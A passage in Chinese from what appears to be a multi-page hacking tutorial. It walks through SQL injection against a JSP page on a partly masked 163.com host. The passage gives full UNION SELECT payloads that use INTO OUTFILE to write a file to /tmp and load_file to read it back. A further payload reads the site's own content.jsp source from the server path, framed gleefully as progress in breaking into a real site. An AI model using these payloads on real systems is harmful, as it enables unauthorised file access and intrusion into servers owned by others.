我们知道了数据库名字以及用户连接的名字以及数据库具体版本了哦!那么下一步该怎么做呢?看看用户那么特殊,这个用户很可能是管理员之类的角色哦!还是先看看权限够不够大,关键是能不能读写文件!提交:
http://XXX.163.com/wap/content.jsp?id=120 and 1=2 union select 1,2,3,4,5,user(),database(),8,9,10 into outfile ’/tmp/jnc.txt’/* 嘿嘿,注意这里跟Php的注入不同,jsp不会对提交的任何字符做转义处理哦!所以我们放心的提交就行了,从上面的例子中我们大约知道系统是Linux类的,所以写文件到/tmp/jnc.txt中,这个目录一般都是可写的。然后再提交:
http://XXX.163.com/wap/content.jsp?id=120 and 1=2 union select 1,2,3,4,5,user(),database(),8,9,load_file(’/tmp/jnc.txt’)/*
分别返回如图7
图8
,看来是写文件和读文件都成功了!有File权限哦,在jsp环境下不受php下那种特性的影响可以在权限允许的范围之内随便写文件!既然权限有了,来判断下web和Mysql服务器是不是一个主机吧,是的话又可以免去猜测密码的痛苦了!web路径出来了那么我们就读web服务器上存在的文件,如果存在的话就应该是一个主机啦!提交: http://XXX.163.com/wap/content.jsp?id=120 and 1=2 union select 1,2,3,4,5,user(),database(),8,9,load_file(’/home/project/web163/web/content.jsp’)/*
读取我们的content.jsp,哈哈,如图9
上一页 1 2 3 下一页 |